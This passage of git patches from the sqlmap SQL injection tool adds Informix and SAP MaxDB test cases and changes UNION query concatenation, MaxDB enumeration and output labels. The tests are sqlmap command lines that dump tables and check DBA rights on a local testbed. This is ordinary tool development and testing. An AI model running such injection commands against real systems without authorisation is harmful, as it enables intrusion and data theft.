True", ": 'foobar'")), From 176e89d9788487b33e085bcb0a2de09fb47705bc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2020 17:35:38 +0100 Subject: [PATCH 157/159] Minor update --- data/xml/queries.xml | 3 ++- lib/core/settings.py | 2 +- lib/core/testing.py | 6 +++++- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 8a49d0f54..e2e850640 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -818,7 +818,8 @@ - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 5a9a67744..99a02d144 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.29" +VERSION = "1.4.2.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index c6ab29635..b47c51510 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -143,6 +143,10 @@ def bedTest(): """ TESTS = ( + # Informix + ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), + # Altibase ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), @@ -192,7 +196,7 @@ def bedTest(): # MySQL ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")), # PostgreSQL From 0605f14d87a95f17df0dfab77a1099cd27a2917d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 11 Feb 2020 15:33:17 +0100 Subject: [PATCH 158/159] Couple of fixes for SAP MaxDB --- data/xml/errors.xml | 1 + data/xml/queries.xml | 6 +++--- lib/core/agent.py | 26 ++++++++++++++++++++++++-- lib/core/dump.py | 6 ++---- lib/core/settings.py | 2 +- lib/core/testing.py | 5 +++++ plugins/dbms/maxdb/enumeration.py | 9 +++++++-- 7 files changed, 43 insertions(+), 12 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index c865bea5f..095c2416d 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -127,6 +127,7 @@ + diff --git a/data/xml/queries.xml b/data/xml/queries.xml index e2e850640..3ebac553c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -490,12 +490,12 @@ - + - - + + diff --git a/lib/core/agent.py b/lib/core/agent.py index 65ff4a421..51f79017e 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -720,21 +720,43 @@ class Agent(object): warnMsg = "applying generic concatenation (CONCAT)" singleTimeWarnMessage(warnMsg) + if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()): + _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery) + if _ != concatenatedQuery: + concatenatedQuery = _ + fieldsSelectFrom = None + if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop - elif fieldsSelectFrom: + elif fieldsSelectFrom or fieldsSelect: + fromTable = "" + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) - concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) + if _: + concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:] + + concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery) + replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) + chars = [_ for _ in replacement] + + count = 0 + for index in zeroDepthSearch(replacement, ',')[1:]: + chars[index] = ")," + count += 1 + + replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars)) + concatenatedQuery = "%s%s" % (replacement, fromTable) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) + return concatenatedQuery def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): diff --git a/lib/core/dump.py b/lib/core/dump.py index e38a73d69..41d7493ae 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -164,11 +164,9 @@ class Dump(object): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.isDbms(DBMS.MAXDB): - self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB): self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/settings.py b/lib/core/settings.py index 99a02d144..324a333e4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.30" +VERSION = "1.4.2.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index b47c51510..be670596f 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -143,6 +143,11 @@ def bedTest(): """ TESTS = ( + # MaxDB + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTDB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")), + # Informix ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 36d626033..506d2675e 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission import re from lib.core.common import isListLike +from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming @@ -17,6 +18,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException @@ -83,7 +85,8 @@ class Enumeration(GenericEnumeration): for db in dbs: query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind) if retVal: for table in list(retVal[0].values())[0]: @@ -204,8 +207,10 @@ class Enumeration(GenericEnumeration): infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind) if retVal: table = {} From 0453a2827c6a3c0b693bbbe71810909a736b1a0f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Feb 2020 16:21:09 +0100 Subject: [PATCH 159/159] Couple of patches --- data/xml/queries.xml | 4 ++++ lib/core/common.py | 1 + lib/core/dump.py | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 20 ++++++++++---------- lib/techniques/blind/inference.py | 4 ++-- 6 files changed, 20 insertions(+), 15 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 3ebac553c..ff324ba83 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -525,6 +525,10 @@ + + + + diff --git a/lib/core/common.py b/lib/core/common.py index dec8d935f..dee8fc2f3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2844,6 +2844,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): # except in cases when tampering scripts are used if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) + value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%' while True: result = _urllib.parse.quote(getBytes(value), safe) diff --git a/lib/core/dump.py b/lib/core/dump.py index 41d7493ae..4a6680be5 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -165,9 +165,9 @@ class Dump(object): def currentDb(self, data): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): - self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB): - self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/settings.py b/lib/core/settings.py index 324a333e4..b3e156dd1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.31" +VERSION = "1.4.2.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index be670596f..d4cd8ae43 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -144,9 +144,9 @@ def bedTest(): TESTS = ( # MaxDB - ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTDB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")), # Informix ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")), @@ -155,17 +155,17 @@ def bedTest(): # Altibase ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), # CockroachDB ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), # CrateDB ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current schema (equivalent to database on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")), + ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")), # Drizzle ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), @@ -180,17 +180,17 @@ def bedTest(): # H2 ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current schema (equivalent to database on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), # HSQLDB ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current schema (equivalent to database on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), # IBM DB2 ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current user (equivalent to database on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", 